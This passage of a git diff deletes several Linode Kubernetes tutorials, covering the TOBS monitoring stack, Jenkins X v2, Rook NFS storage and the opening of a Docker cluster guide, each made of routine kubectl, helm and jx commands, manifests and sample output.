Prometheus and the database. It allows the Prometheus server to store and retrieve metrics from TimescaleDB, and allows users to use PromQL on Promscale and Prometheus. -- [Prometheus](https://prometheus.io/docs/introduction/overview/) is an open-source systems monitoring and altering stack. It has become the de-facto standard in metric monitoring and is the basis of standards such as OpenMetrics. It allows you to monitor and understand how your infrastructure and applications are performing. Service discovery allows Prometheus to automagically discover components within your Kubernetes cluster that are already emitting metrics. -- [kube-state-metrics](https://github.com/kubernetes/kube-state-metrics) exports the metrics related to Kubernetes resources such as the status and count of Kubernetes resources, with visibility of the desired resources and the current resources, as well as the trends in your cluster. -- [Node-Exporter](https://github.com/prometheus/node_exporter) is deployed to export node related metrics such as CPU, memory usage, and others from the Kubernetes cluster. - -## Before You Begin - -{{< note >}} -This guide was written using [Kubernetes version 1.23](https://v1-17.docs.kubernetes.io/docs/setup/release/notes/). -{{< /note >}} - -1. [Deploy an LKE Cluster](https://techdocs.akamai.com/cloud-computing/docs/linode-kubernetes-engine). This guide was written using an example node pool with three [4 GB Shared CPU Compute Instances](https://www.linode.com/pricing/). Depending on the workloads you plan to deploy on your cluster, you may consider using other plans with more available resources. - -1. Install [Helm 3](/cloud/guides/how-to-install-apps-on-kubernetes-with-helm-3/#install-helm) to your local environment. - -1. Install [kubectl](https://techdocs.akamai.com/cloud-computing/docs/manage-a-cluster-with-kubectl) to your local environment and [connect to your cluster](https://techdocs.akamai.com/cloud-computing/docs/manage-a-cluster-with-kubectl). - -1. Create the `monitoring` namespace on your LKE cluster: - - ```command - kubectl create namespace monitoring - ``` - -1. Add the stable Helm charts repository to your Helm repos: - - ```command - helm repo add stable https://charts.helm.sh/stable - ``` - -1. Update your Helm repositories: - - ```command - helm repo update - ``` - -## TOBS Minimal Deployment - -In this section, learn to deploy TOBS for individual/local access with `kubectl` [Port-Forward](https://kubernetes.io/docs/reference/generated/kubectl/kubectl-commands#port-forward). - -### Deploy The Observability Stack -1. Install a certificate manager for your LKE cluster: - - ```command - kubectl apply -f https://github.com/cert-manager/cert-manager/releases/download/v1.8.0/cert-manager.yaml - ``` - -1. Using Helm, deploy the TOBS release labeled `lke-monitor` in the `monitoring` namespace on your LKE cluster: - - ```command - helm repo add timescale https://charts.timescale.com/ - helm repo update - helm install --wait lke-monitor timescale/tobs --namespace monitoring - ``` - - -1. Verify that the Prometheus Operator has been deployed to your LKE cluster and its components are running and ready by checking the pods in the `monitoring` namespace: - - ```command - kubectl -n monitoring get pods - ``` - - You should see a similar output to the following: - - ```output - NAME READY STATUS RESTARTS AGE - alertmanager-tobs-kube-prometheus-alertmanager-0 2/2 Running 0 2m13s - lke-monitor-connection-secret-j4sdh 0/1 Completed 0 2m35s - lke-monitor-grafana-54d979dcf5-tkkgj 3/3 Running 2 (65s ago) 2m32s - lke-monitor-grafana-db-swm8g 0/1 Completed 3 2m35s - lke-monitor-kube-state-metrics-6bc5c44b9-g8r5g 1/1 Running 0 2m27s - lke-monitor-prometheus-node-exporter-b4vvg 1/1 Running 0 2m33s - lke-monitor-prometheus-node-exporter-bbcnd 1/1 Running 0 2m34s - lke-monitor-prometheus-node-exporter-frrfp 1/1 Running 0 2m26s - lke-monitor-promlens-569cfbd586-bkhrr 1/1 Running 0 2m34s - lke-monitor-promscale-86d574986c-9wj2z 1/1 Running 4 (64s ago) 2m27s - lke-monitor-timescaledb-0 1/1 Running 0 2m30s - opentelemetry-operator-controller-manager-8cf5c85c8-krdj5 2/2 Running 0 2m27s - prometheus-tobs-kube-prometheus-prometheus-0 2/2 Running 0 2m13s - tobs-kube-prometheus-operator-5b4f674986-55r4k 1/1 Running 0 2m34s - ``` - -### Access Monitoring Interfaces with Port-Forward - -1. List the services running in the `monitoring` namespace and review their respective ports: - - ```command - kubectl -n monitoring get svc - ``` - - You should see an output similar to the following: - - ```output - NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE - alertmanager-operated ClusterIP None 9093/TCP,9094/TCP,9094/UDP 3m41s - lke-monitor ClusterIP 10.128.40.142 5432/TCP 4m3s - lke-monitor-config ClusterIP None 8008/TCP 4m3s - lke-monitor-grafana ClusterIP 10.128.102.243 80/TCP 4m3s - lke-monitor-kube-state-metrics ClusterIP 10.128.208.39 8080/TCP 4m3s - lke-monitor-prometheus-node-exporter ClusterIP 10.128.170.88 9100/TCP 4m3s - lke-monitor-promlens ClusterIP 10.128.45.92 80/TCP 4m3s - lke-monitor-promscale-connector ClusterIP 10.128.198.88 9201/TCP,9202/TCP 4m3s - lke-monitor-replica ClusterIP 10.128.137.189 5432/TCP 4m3s - opentelemetry-operator-controller-manager-metrics-service ClusterIP 10.128.45.42 8443/TCP 4m3s - opentelemetry-operator-webhook-service ClusterIP 10.128.12.89 443/TCP 4m3s - prometheus-operated ClusterIP None 9090/TCP 3m41s - lke-monitor-kube-prometheus-alertmanager ClusterIP 10.128.33.44 9093/TCP 4m3s - lke-monitor-kube-prometheus-operator ClusterIP 10.128.175.39 443/TCP 4m3s - lke-monitor-kube-prometheus-prometheus ClusterIP 10.128.106.173 9090/TCP 4m3s - ``` - - From the above output, the resource services you will access have the corresponding ports: - - | Resource | Service Name | Port | - | ------------ | ----------------------------------| ---- | - | Prometheus | `lke-monitor-kube-prometheus-prometheus` | 9090 | - | Alertmanager | `lke-monitor-kube-prometheus-alertmanager` | 9093 | - | Grafana | `lke-monitor-grafana` | 80 | - -1. Use `kubectl` [port-forward](https://kubernetes.io/docs/reference/generated/kubectl/kubectl-commands#port-forward) to open a connection to a service, then access the service's interface by entering the corresponding address in your web browser: - - {{< note >}} - Press **control+C** on your keyboard to terminate a port-forward process after entering any of the following commands. - {{< /note >}} - - - To provide access to the **Prometheus** interface at the address `127.0.0.1:9090` in your web browser, enter: - - ```command - kubectl -n monitoring \ - port-forward \ - svc/lke-monitor-kube-prometheus-prometheus \ - 9090 - ``` - - - To provide access to the **Alertmanager** interface at the address `127.0.0.1:9093` in your web browser, enter: - - ```command - kubectl -n monitoring \ - port-forward \ - svc/lke-monitor-kube-prometheus-alertmanager \ - 9093 - ``` - - - To provide access to the **Grafana** interface at the address `127.0.0.1:8081` in your web browser, enter: - - ```command - kubectl -n monitoring \ - port-forward \ - svc/lke-monitor-grafana \ - 8081:80 - ``` - - When accessing the Grafana interface, log in as `admin`. You can get the `password` using: - - ```command - kubectl get secret --namespace monitoring lke-monitor-grafana -o jsonpath="{.data.admin-password}" | base64 --decode ; echo - ``` - - The Grafana dashboards are accessible at **Dashboards > Manage** from the left navigation bar. - -TOBS eliminates the need to maintain configuration details for each of the applications, while providing standardized monitoring for the applications running on your cluster. \ No newline at end of file diff --git a/docs/guides/kubernetes/how-to-deploy-jenkins-x-in-linode-kubernetes-engine/index.md b/docs/guides/kubernetes/how-to-deploy-jenkins-x-in-linode-kubernetes-engine/index.md deleted file mode 100644 index dc7f9b452e6..00000000000 --- a/docs/guides/kubernetes/how-to-deploy-jenkins-x-in-linode-kubernetes-engine/index.md +++ /dev/null @@ -1,341 +0,0 @@ ---- -slug: how-to-deploy-jenkins-x-in-linode-kubernetes-engine -title: "Deploying Jenkins X in Linode Kubernetes Engine" -title_meta: "How to Deploy Jenkins X in Linode Kubernetes Engine" -description: 'Learn how to install CI/CD tool Jenkins X on Linode Kubernetes Engine in this step-by-step guide.' -authors: ["Daniele Polencic"] -contributors: ["Daniele Polencic"] -published: 2020-07-29 -keywords: ['kubernetes','pipelines','ci/cd','kubernetes','jenkins x','jenkins'] -tags: ["docker","kubernetes","container","automation","linode platform"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: 'learnk8s_jenkinsX.png' -external_resources: -- '[How to run Jenkins X Boot](https://jenkins-x.io/docs/install-setup/boot/how-it-works/)' -- '[Creating and importing projects in Jenkins X](https://jenkins-x.io/docs/create-project/creating/)' -aliases: ['/kubernetes/how-to-deploy-jenkins-x-in-linode-kubernetes-engine/'] -deprecated: true ---- - -## What is Jenkins X? - -[Jenkins X](https://jenkins-x.io) is CI/CD tool that automates the management of development environments and the promotion of new versions of applications between environments. This guide illustrates how to install Jenkins X version 2 on Linode Kubernetes Engine. - -{{< note >}} -Jenkins X version 2 is no longer maintained. For more information about using Jenkins X version 3, see the [official Jenkins X documentation](https://jenkins-x.io/v3/admin/). -{{< /note >}} - -## Before You Begin - -1. You will need a personal GitHub account. If you don't have one, [you can register here](https://github.com/join). -1. You need a GitHub account for your bot. This bot automates actions like triaging issues, merging Pull Requests, etc. [You can register your bot account here](https://github.com/join). -1. You will need an account on DockerHub. If you don't have one, [you can register here](https://hub.docker.com/signup). - -## Create an LKE Cluster - -Follow the instructions in [Deploying and Managing a Cluster with Linode Kubernetes Engine Tutorial](https://techdocs.akamai.com/cloud-computing/docs/linode-kubernetes-engine) to create and connect to an LKE cluster. - -We recommend using three 16GB Linodes to start with. - -![Creating a Kubernetes cluster on Linode](create-cluster.png) - -You can verify that the installation is successful with: - -```command -kubectl get nodes -``` - -The output should similar to: - -```output -NAME STATUS ROLES AGE VERSION -lke7189-9006-5f05145fc9a3 Ready 8h v1.17.3 -lke7189-9006-5f051460a1e2 Ready 8h v1.17.3 -lke7189-9006-5f0514617a87 Ready 8h v1.17.3 -``` - -## Install jx - -To install Jenkins X, you need the `jx` command-line tool. You can find the instruction on [how to install `jx` on the official documentation.](https://jenkins-x.io/docs/install-setup/install-binary/) - -You can verify that the installation is successful with: - -```command -jx version -``` - -The output should be similar to: - -```output -Version 2.1.80 -Commit b2bd447 -Build date 2020-06-23T15:34:17Z -Go version 1.13.8 -Git tree state clean -``` - -## Bootstrap Jenkins X - -{{< note >}} -If you used the `export` command with the KUBECONFIG variable so that you can use kubectl to connect to your cluster, you will need to perform the following steps in the same terminal window where you executed that command in order for `jx` to also be able to connect to your cluster. -{{< /note >}} - -1. Create a new folder, navigate to the new folder, and execute the `jx boot` command to start a new project: - - ```command - mkdir jenkins-x - cd jenkins-x - jx boot - ``` - - The command prompts the following message: - - ```output - Creating boot config with defaults, as not in an existing boot directory with a git repository. - No Jenkins X pipeline file jenkins-x.yml or no jx boot requirements file jx-requirements.yml found. You are not running this command from inside a Jenkins X Boot git clone - To continue we will clone https://github.com/jenkins-x/jenkins-x-boot-config.git @ master to jenkins-x-boot-config - ? Do you want to clone the Jenkins X Boot Git repository? [? for help] (Y/n) - ``` - - _Yes_ is the default answer, so you can press enter and continue to the next step. - -1. In the next step, the CLI clones the Jenkins X configuration repo and validates your configuration. - - The command-line tool expects the cluster name to be in the format `__` — which is the default if you want to use Google Kubernetes Engine. Since Linode Kubernetes Engine doesn't follow the same naming pattern, the validation fails: - - ```output - Cloning https://github.com/jenkins-x/jenkins-x-boot-config.git @ master to jenkins-x-boot-config - Attempting to resolve version for boot config https://github.com/jenkins-x/jenkins-x-boot-config.git from https://github.com/jenkins-x/jenkins-x-versions.git - Booting Jenkins X - - STEP: validate-git command: /bin/sh -c jx step git validate in dir: /tmp/jenkinsx/jenkins-x-boot-config/env - - STEP: verify-preinstall command: /bin/sh -c jx step verify preinstall --provider-values-dir="kubeProviders" in dir: /tmp/jenkinsx/jenkins-x-boot-config - - error: : unable to parse lke7389 as <project id>_<zone>_<cluster name> - error: failed to interpret pipeline file /tmp/jenkinsx/jenkins-x-boot-config/jenkins-x.yml: failed to run '/bin/sh -c jx step verify preinstall --provider-values-dir="kubeProviders"' command in directory '/tmp/jenkinsx/jenkins-x-boot-config', output: '' - ``` - - But don't worry, this error can be fixed. If you inspect the current folder, you should notice that `jx` created a `jenkins-x-boot-config` folder. In that folder, there's a `jx-requirements.yml` file with the details of your cluster. - - Open that with your favourite editor and identify the line that starts with: `provider: gke`. You should change that to `provider: kubernetes`. - - ```file {title="jx-requirements.yml" lang=yaml} - autoUpdate: - enabled: false - schedule: "" - bootConfigURL: https://github.com/jenkins-x/jenkins-x-boot-config.git - cluster: - gitKind: github - gitName: github - gitServer: https://github.com - namespace: jx - provider: gke # <- you should change this line to "kubernetes"! - ``` - -1. It's time to run the `jx boot` command again, but this time from within the `jenkins-x-boot-config` folder: - - ```command - cd jenkins-x-boot-config - jx boot - ``` - - This time, the command stops at a different step, which has you confirm you'd like to run `jx` on a service that is not GKE or EKS: - - ```output - Attempting to resolve version for boot config https://github.com/jenkins-x/jenkins-x-boot-config from https://github.com/jenkins-x/jenkins-x-versions.git - Booting Jenkins X - - STEP: validate-git command: /bin/sh -c jx step git validate in dir: /tmp/jenkinsx/jenkins-x-boot-config/env - - STEP: verify-preinstall command: /bin/sh -c jx step verify preinstall --provider-values-dir="kubeProviders" in dir: /tmp/jenkinsx/jenkins-x-boot-config - - jx boot has only been validated on GKE and EKS, we'd love feedback and contributions for other Kubernetes providers - ? Continue execution anyway? (Y/n) - ``` - - _Yes_ is the default answer, so press enter and continue executing. - -1. The next question is the cluster name: - - ```output - ? Cluster name - ``` - - Enter `jenkins-x-lke`. - -1. Next, make yourself the Git Owner. - - ```output - ? Git Owner name for environment repositories - ``` - - Type in your GitHub username, and press enter. - -1. In the next step, name the users you wish to associate as an approver. This should include your username and the names of any other members of your team which you wish to grant this ability, and the input should be a comma separated list. - - ```output - Environment repos will be private, if you want to create public environment repos, please set environmentGitPublic to true in jx-requirements.yml - ? Comma-separated git provider usernames of approvers for development environment repository - ``` - -1. Pay attention to the next question, which describes that the webhooks will be called over HTTP, not HTTPS: - - ```output - Locking version stream https://github.com/jenkins-x/jenkins-x-versions.git to release v1.0.529. Jenkins X will use this release rather than master to resolve all versions from now on. - writing the following to the OWNERS file for the development environment repository: - approvers: - - <your_GitHub_username> - reviewers: - - <your_GitHub_username> - WARNING: TLS is not enabled so your webhooks will be called using HTTP. This means your webhook secret will be sent to your cluster in the clear. See https://jenkins-x.io/docs/getting-started/setup/boot/#ingress for more information - ? Do you wish to continue? [? for help] (y/N) - ``` - - Notice how _No_ is the default answer. However, you should answer **Yes** and move on to the next question. - -1. In the next steps, `jx` configures several components in your cluster. It might take a while before you're requested to interact with the terminal. When you do, the next questions are about the Jenkins X admin: - - ```output - ? Jenkins X Admin Username (admin) - ? Jenkins X Admin Password - ``` - - You should choose a name and a password for the admin user. - -1. Next, you enter in the info about your Jenkins X Bot. - - The bot will help you triage issues, Pull Requests and execute chores. In this part, you should enter the details for your bot (the GitHub account that you created in advance): - - ```output - ? Pipeline bot Git username - ? Pipeline bot Git email address - ? Pipeline bot Git token - ``` - - You can create a token for your bot by [visiting this URL](https://github.com/settings/tokens/new?scopes=repo,read:user,read:org,user:email,write:repo_hook,delete_repo). - - {{< note >}} - Please note that you should create the token with the Bot's account and not yours. - {{< /note >}} - - ![Creating an API token on GitHub](github-token.png) - -1. You can use the same token for the next question (and just press enter): - - ```output - ? HMAC token, used to validate incoming webhooks. Press enter to use the generated token - ``` - -1. The next question is crucial, as it concerns how Jenkins X will interact with the docker registry: - - ```output - ? Do you want to configure non default Docker Registry? (y/N) - ``` - - Linode does not offer a container registry at the moment, so you will use Docker Hub as your container registry. You should answer _Yes_ which is **NOT** the default option. Answer the following questions accordingly: - - ```output - ? Do you want to configure non default Docker Registry? Yes - ? Docker Registry Url <accept-the-default-value> - ? Docker Registry username <enter-your-dockerhub-username> - ? Docker Registry password <enter-your-dockerhub-password> - ? Docker Registry email <enter-your-dockerhub-email> - ``` - -The installation should complete with the following output: - -```output -Verifying the git config -Verifying username <bot-name> at git server github at https://github.com -Found 1 organisation in git server https://github.com: learnk8s -Validated pipeline user <bot-name> on git server https://github.com -Git tokens seem to be setup correctly -Installation is currently looking: GOOD -Using namespace 'jx' from context named 'lke7411-ctx' on server 'https://c50d6328-b182-4fe9-9746-7f6e2b2e1b4d.ap-south-1.linodelke.net:443'. -``` - -Jenkins X is installed! - -If you inspect your GitHub profile, you might have noticed that there are three new private repositories: - -- `environment-jenkins-x-lke-dev` -- `environment-jenkins-x-lke-staging` -- `environment-jenkins-x-lke-prod` - -The repositories hold the configuration for each environment. - -## Your First Project - -In this part, you will set up a CI/CD pipeline for a Java (Spring Boot) application. The same steps are valid for any other language or framework. - -1. You should fork the [Jenkins X Demo repository from LearnK8s](https://github.com/learnk8s/jenkins-x-demo). - -1. Next, clone the repository locally and change your current directory, being sure to add your GitHub username to the cloned repository's address: - - ```command - git clone git@github.com:your-github-username/jenkins-x-demo - cd jenkins-x-demo - ``` - -1. You can import the project in Jenkins X with the following command: - - ```command - jx import - ``` - - You will see a similar output to this: - - ```output - PipelineActivity for <your-gh-username>-jenkins-x-demo-master-1 - upserted PipelineResource meta-<your-gh-username>-jenkins-x-dlncr for the git repository https://github.com/<your-gh-username>/jenkins-x-demo.git - upserted Task meta-<your-gh-username>-jenkins-x-dlncr-meta-pipeline-1 - upserted Pipeline meta-<your-gh-username>-jenkins-x-dlncr-1 - created PipelineRun meta-<your-gh-username>-jenkins-x-dlncr-1 - created PipelineStructure meta-<your-gh-username>-jenkins-x-dlncr-1 - - Watch pipeline activity via: jx get activity -f jenkins-x-demo -w - Browse the pipeline log via: jx get build logs <your-gh-username>/jenkins-x-demo/master - You can list the pipelines via: jx get pipelines - When the pipeline is complete: jx get applications - - For more help on available commands see: https://jenkins-x.io/developing/browsing/ - ``` - -1. You can now run the following command to follow the pipeline output: - - ```command - jx get build logs /jenkins-x-demo/master - ``` - - The pipeline will take around three or four minutes to complete, as it has to: - - - Compile the project. - - Create tags in the repository. - - Build and push the container image to Docker Hub. - - Package the Helm chart for the application. - -1. In the last step of the pipeline, Jenkins X raises a Pull Request to the repository that holds the configuration of your staging environment (created by default during installation). - - At the end of the pipeline you will see the following output: - - ```output - Created Pull Request: https://github.com//environment-jenkins-x-lke-staging/pull/1 - ``` - - The Pull Request is an automatic promotion to the staging environment. If you merge the Pull Request, the application is automatically promoted to the staging environment. - - You can merge the Pull Request to see the pipeline applying the changes in the staging environment. - - If the promotion is successful, you can inspect the app with: - - ```command - jx get applications - ``` - - ```output - APPLICATION STAGING PODS URL - jenkins-x-demo 0.0.10 http://jenkins-x-staging.178.79.175.247.nip.io - ``` - -It might take some time for your application to start. However, when it's started, you can visit the app at the URL provided and see it running. \ No newline at end of file diff --git a/docs/guides/kubernetes/how-to-install-rooknfs-on-lke/index.md b/docs/guides/kubernetes/how-to-install-rooknfs-on-lke/index.md deleted file mode 100644 index 899fc33984a..00000000000 --- a/docs/guides/kubernetes/how-to-install-rooknfs-on-lke/index.md +++ /dev/null @@ -1,285 +0,0 @@ ---- -slug: how-to-install-rooknfs-on-lke -title: "Setting Up Rook NFS for Persistent Storage on LKE" -title_meta: "How to Set Up Rook NFS for Persistent Storage on LKE" -description: 'How to install Rook NFS on LKE.' -authors: ["Todd Becker"] -contributors: ["Todd Becker"] -published: 2021-08-13 -keywords: ['rooknfs','kubernetes', 'lke', 'linode kubernetes engine'] -tags: ["docker","kubernetes","container","nginx","linode platform"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/kubernetes/how-to-install-rooknfs-on-LKE/'] -deprecated: true ---- - -Rook NFS allows remote hosts to mount filesystems over a network and interact with those filesystems as though they are mounted locally. When used with LKE, Rook can mount a Linode Block Storage PVC which uses `ReadWriteOnce` permissions. The volume can then be leveraged as NFS and exported as a storage class that uses `ReadWriteMany` permissions. This allows Linode's Block Storage to store persistent data for LKE clusters. - -## Before you Begin - -- This guide assumes that you already have an LKE cluster up and running. If that is not the case, please follow the instructions in our [LKE Tutorial](https://techdocs.akamai.com/cloud-computing/docs/linode-kubernetes-engine). -- This guide relies on git wherever `kubectl` is installed. While git is installed on many Linux distributions, others may require manual installation. Git can be installed on most distributions by following our [Git Installation Guide](/cloud/guides/how-to-install-git-on-linux-mac-and-windows/) - -## Installing Rook NFS on LKE - -1. Rook has several manifests on their [github repository](https://github.com/rook/nfs) that are used within this guide. Clone the [latest release](https://github.com/rook/rook/releases/) from the project's repository to your machine: - - ```command - git clone --single-branch --branch v1.7.3 https://github.com/rook/nfs.git - ``` - - {{< note >}} - If you do not want to use git, the raw manifest files can alternatively be obtained via wget or curl. - {{< /note >}} - -1. Apply the Rook operator and common manifests: - - ```command - kubectl create -f ~/nfs/cluster/examples/kubernetes/nfs/crds.yaml - kubectl create -f ~/nfs/cluster/examples/kubernetes/nfs/operator.yaml - ``` - -1. Validate that all pods are running as expected: - - ```command - kubectl -n rook-nfs-system get pod - ``` - - You Should see the following output: - - ```output - NAME READY STATUS RESTARTS AGE - rook-nfs-operator-5cc679885d-88769 1/1 Running 0 45h - ``` - -1. Overwrite the contents of the `webhook.yaml` file to the contents of the following file. This ensures that the webhook manifests will rely on a more up to date version of the Kubernetes API, ensuring that they're compatible with the latest versions of Kubernetes: - - ```file {title="/nfs/cluster/examples/kubernetes/nfs/webhook.yaml" lang=yaml} - apiVersion: v1 - kind: ServiceAccount - metadata: - name: rook-nfs-webhook - namespace: rook-nfs-system - --- - apiVersion: rbac.authorization.k8s.io/v1 - kind: Role - metadata: - name: rook-nfs-webhook - namespace: rook-nfs-system - rules: - - apiGroups: [""] - resources: ["secrets"] - resourceNames: - - "rook-nfs-webhook-cert" - verbs: ["get", "list", "watch"] - --- - apiVersion: rbac.authorization.k8s.io/v1 - kind: RoleBinding - metadata: - name: rook-nfs-webhook - namespace: rook-nfs-system - roleRef: - apiGroup: rbac.authorization.k8s.io - kind: Role - name: rook-nfs-webhook - subjects: - - apiGroup: "" - kind: ServiceAccount - name: rook-nfs-webhook - namespace: rook-nfs-system - --- - apiVersion: cert-manager.io/v1 - kind: Certificate - metadata: - name: rook-nfs-webhook-cert - namespace: rook-nfs-system - spec: - dnsNames: - - rook-nfs-webhook.rook-nfs-system.svc - - rook-nfs-webhook.rook-nfs-system.svc.cluster.local - issuerRef: - kind: Issuer - name: rook-nfs-selfsigned-issuer - secretName: rook-nfs-webhook-cert - --- - apiVersion: cert-manager.io/v1 - kind: Issuer - metadata: - name: rook-nfs-selfsigned-issuer - namespace: rook-nfs-system - spec: - selfSigned: {} - --- - apiVersion: admissionregistration.k8s.io/v1 - kind: ValidatingWebhookConfiguration - metadata: - annotations: - cert-manager.io/inject-ca-from: rook-nfs-system/rook-nfs-webhook-cert - creationTimestamp: null - name: rook-nfs-validating-webhook-configuration - webhooks: - - clientConfig: - caBundle: Cg== - service: - name: rook-nfs-webhook - namespace: rook-nfs-system - path: /validate-nfs-rook-io-v1alpha1-nfsserver - failurePolicy: Fail - admissionReviewVersions: ["v1", "v1beta1"] - sideEffects: None - name: validation.nfsserver.nfs.rook.io - rules: - - apiGroups: - - nfs.rook.io - apiVersions: - - v1alpha1 - operations: - - CREATE - - UPDATE - resources: - - nfsservers - --- - kind: Service - apiVersion: v1 - metadata: - name: rook-nfs-webhook - namespace: rook-nfs-system - spec: - selector: - app: rook-nfs-webhook - ports: - - port: 443 - targetPort: webhook-server - --- - apiVersion: apps/v1 - kind: Deployment - metadata: - name: rook-nfs-webhook - namespace: rook-nfs-system - labels: - app: rook-nfs-webhook - spec: - replicas: 1 - selector: - matchLabels: - app: rook-nfs-webhook - template: - metadata: - labels: - app: rook-nfs-webhook - spec: - containers: - - name: rook-nfs-webhook - image: rook/nfs:v1.7.3 - imagePullPolicy: IfNotPresent - args: ["nfs", "webhook"] - ports: - - containerPort: 9443 - name: webhook-server - volumeMounts: - - mountPath: /tmp/k8s-webhook-server/serving-certs - name: cert - readOnly: true - volumes: - - name: cert - secret: - defaultMode: 420 - secretName: rook-nfs-webhook-cert - ``` - -1. Apply the Rook Admission Webhook and Cert Manager. Cert manager is a prerequisite for the webhook and applies an added layer of security: - - ```command - kubectl apply -f https://github.com/jetstack/cert-manager/releases/download/v1.8.0/cert-manager.yaml - kubectl apply -f ~/nfs/cluster/examples/kubernetes/nfs/webhook.yaml - ``` - -1. Verify that the webhook and cert manager were set up correctly: - - ```command - kubectl get -n cert-manager pod - kubectl -n rook-nfs-system get pod - ``` - - Output similar to the following should appear: - - ```output - kubectl get -n cert-manager pod - NAME READY STATUS RESTARTS AGE - cert-manager-cainjector-6d9776489b-wprdx 1/1 Running 0 45h - cert-manager-d7d8fb5c9-wv66w 1/1 Running 0 45h - cert-manager-webhook-544c44ccdc-stjjb 1/1 Running 0 45h - kubectl -n rook-nfs-system get pod - NAME READY STATUS RESTARTS AGE - rook-nfs-operator-5cc679885d-88769 1/1 Running 0 45h - rook-nfs-webhook-6ffb579d8c-wl59k 1/1 Running 0 45h - ``` - -1. There is an optional step in the Rook guide to add a Pod Security Policy. This is recommended for security. - - ```command - kubectl apply -f ~/nfs/cluster/examples/kubernetes/nfs/psp.yaml - ``` - -1. Create a service account user for Rook to run the NFS server with: - - ```command - kubectl apply -f ~/nfs/cluster/examples/kubernetes/nfs/rbac.yaml - ``` - -1. Edit the PVC portion of the default NFS server manifests in the `nfs.yaml` file before initializing the NFS server. The provided NFS manifest has two changes that need to be made. The first is the storage class for the PVC is left off, which assumes the default storage class. This can be explicitly defined to "linode-block-storage-retain" instead of assuming the default storage class. Secondly the `accessModes` is set to `ReadWriteMany` and the Linode block storage does not support `ReadWriteMany`. This should be changed to `ReadWriteOnce`. - - ```file {title="/nfs/cluster/examples/kubernetes/nfs/nfs.yaml" lang=yaml} - --- - apiVersion: v1 - kind: PersistentVolumeClaim - metadata: - name: nfs-default-claim - namespace: rook-nfs - spec: - storageClassName: linode-block-storage-retain # Add this line to specify the storage class to be used - accessModes: - - ReadWriteOnce # Edit this line to ReadWriteOnce - resources: - requests: - storage: 1Gi - --- - # Additionally this manifest contains the Rook NFSServer below the PVC - # This is not displayed as there are no modifications to that portion of the manifest - ``` - -1. Apply the updated nfs.yaml file, then add a Rook storage class that leverages the Rook NFS server. - - ```command - kubectl apply -f ~/nfs/cluster/examples/kubernetes/nfs/nfs.yaml - kubectl apply -f ~/nfs/cluster/examples/kubernetes/nfs/sc.yaml - ``` - -## Testing the Server - -To test the Rook NFS server, create two deployments that will leverage a singular storage class labeled as `rook-nfs-share1`. - -1. Deploy the PVC, busybox, and web-rc server using the following commands: - - ```command - kubectl apply -f ~/nfs/cluster/examples/kubernetes/nfs/pvc.yaml - kubectl apply -f ~/nfs/cluster/examples/kubernetes/nfs/busybox-rc.yaml - kubectl apply -f ~/nfs/cluster/examples/kubernetes/nfs/web-rc.yaml - ``` - -1. Create a service that will allow the busybox container to update the timestamp in the `index.html` file: - - ```command - kubectl apply -f ~/nfs/cluster/examples/kubernetes/nfs/web-service.yaml - ``` - -The following command can now be entered to list the files being stored for in the volume for the busybox workload: - -```command -kubectl exec $(kubectl get pod -l app=nfs-demo,role=busybox -o jsonpath='{.items[0].metadata.name}') -- ls /mnt -``` - -This additional command can also be entered to list all of the files in the volume for the nginx workload: - -```command -kubectl exec $(kubectl get pod -l app=nfs-demo,role=web-frontend -o jsonpath='{.items[0].metadata.name}') -- ls /usr/share/nginx/html \ No newline at end of file diff --git a/docs/guides/kubernetes/manage-a-docker-cluster-with-kubernetes/index.md b/docs/guides/kubernetes/manage-a-docker-cluster-with-kubernetes/index.md deleted file mode 100644 index e1e8365d733..00000000000 --- a/docs/guides/kubernetes/manage-a-docker-cluster-with-kubernetes/index.md +++ /dev/null @@ -1,596 +0,0 @@ ---- -slug: manage-a-docker-cluster-with-kubernetes -title: 'Manage a Docker Cluster with Kubernetes' -description: 'Kubernetes makes it easy to manage containers across multiple servers. This guide shows how to manage Dockerized applications using Kubernetes.' -authors: ["Damaso Sanoja"] -contributors: ["Damaso Sanoja"] -published: 2018-02-28 -keywords: ["Kubernetes", "cluster", "docker"] -tags: ["docker","nginx","kubernetes","container"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/applications/containers/manage-a-docker-cluster-with-kubernetes/','/applications/containers/kubernetes/manage-a-docker-cluster-with-kubernetes/','/kubernetes/manage-a-docker-cluster-with-kubernetes/'] -concentrations: ["Kubernetes"] -external_resources: - - '[Kubernetes Documentation](https://kubernetes.io/docs/home)' - - '[Calico Documentation](https://docs.projectcalico.org/v2.0/getting-started/kubernetes/)' ---- - -![Manage a Docker Cluster with Kubernetes](docker-cluster-kubernetes.jpg) - -## What is a Kubernetes Cluster? - -[Kubernetes](https://kubernetes.io/) is an open source platform for managing containerized applications. If you use Docker for an application deployed on multiple Linodes, a Kubernetes cluster can manage your servers and deployments, including tasks such as scaling, deployment, and rolling upgrades. - -A Kubernetes cluster consists of at least one master node and several worker nodes. The master node runs the API server, the scheduler and the controller manager, and the actual application is deployed dynamically across the cluster. - -{{< note >}} -You can now create a Kubernetes cluster with one command using the Linode CLI. To provision Kubernetes on Linodes, this tool uses the [Linode Kubernetes Terraform module](https://github.com/linode/terraform-linode-k8s), the [Linode Cloud Controller Manager (CCM)](https://github.com/linode/linode-cloud-controller-manager), and the [Container Storage Interface (CSI) Driver](https://github.com/linode/linode-blockstorage-csi-driver) for Linode Block Storage. See the [Kubernetes Tools](https://developers.linode.com/kubernetes/) page for installation steps. For an in-depth dive into the Linode Kubernetes Terraform module, see its related [Community Site post](https://www.linode.com/community/questions/17611/the-linode-kubernetes-module-for-terraform). -{{< /note >}} - -## System Requirements - -To complete this guide you will need three Linodes running Ubuntu 16.04 LTS, each with at least 4GB of RAM. Before beginning this guide, you should also use the Cloud Manager to generate a [private IP address](https://techdocs.akamai.com/cloud-computing/docs/managing-ip-addresses-on-a-compute-instance#adding-an-ip-address) for each Linode. - -## Before You Begin - -This article requires that you first complete our [How to Install, Configure, and Deploy NGINX on a Kubernetes Cluster](/cloud/guides/how-to-deploy-nginx-on-a-kubernetes-cluster/) guide and follow the procedures described there to configure one master node and two worker nodes. - -Set the hostnames of the three Linodes as follows: - -- Master node: `kube-master` -- First worker node: `kube-worker-1` -- Second worker node: `kube-worker-2` - -Unless otherwise stated, all commands will be executed from the `kube-master`. - -## Kubernetes Pods - -A 